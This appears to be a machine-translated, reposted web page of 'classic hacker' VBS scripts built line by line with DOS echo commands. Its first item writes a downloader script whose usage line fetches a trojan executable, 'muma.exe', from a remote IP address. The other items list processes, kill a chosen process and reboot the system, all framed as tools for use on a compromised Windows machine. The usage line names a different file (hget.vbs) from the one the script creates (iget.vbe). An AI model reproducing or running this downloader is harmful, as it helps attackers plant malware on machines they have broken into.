Some classic main user hacker's VBS script combines ECHO's DOS implementation _vbs

Source: Internet
Author: User
1. File download (no echo)
echo ilocal = LCase (wscript.arguments (1)) >iget.vbe
echo iremote = LCase (wscript.arguments (0)) >>iget.vbe
echo Set xpost = CreateObject ("Microsoft.XMLHTTP") >>iget.vbe
echo Xpost.open "Get", iremote,0 >>iget.vbe
Echo xpost.send () >>iget.vbe
echo Set Sget = CreateObject ("ADODB. Stream ") >>iget.vbe
echo Sget.mode = 3 >>iget.vbe
echo Sget.type = 1 >>iget.vbe
Echo Sget.open () >>iget.vbe
echo sget.write (xpost.responsebody) >>iget.vbe
echo Sget.savetofile ilocal,2 >>iget.vbe

Usage: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe


2. Enumerating the processes
@echo for each PS in GetObject _ >ps.vbs
@echo ("Winmgmts:\\.\root\cimv2:win32_process"). Instances_ >>ps.vbs
@echo WScript.Echo Ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs

Usage: cscript ps.vbs


3. Termination of the process
@echo for each PS in GetObject _ >pskill.vbs
@echo ("Winmgmts:\\.\root\cimv2:win32_process"). Instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments (0) then WScript.Echo ps.terminate:end If:next >>pskill.vbs

Usage: cscript pskill.vbs PID


4. Reboot the system
@echo for each OS in GetObject _ >reboot.vbs
@echo ("Winmgmts:!\\.\root\cimv2:win32_operatingsystem"). Instances_ >>reboot.vbs
@echo Os.win32shutdown (2): Next >>reboot.vbs

Usage: cscript Reboot.vbs

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.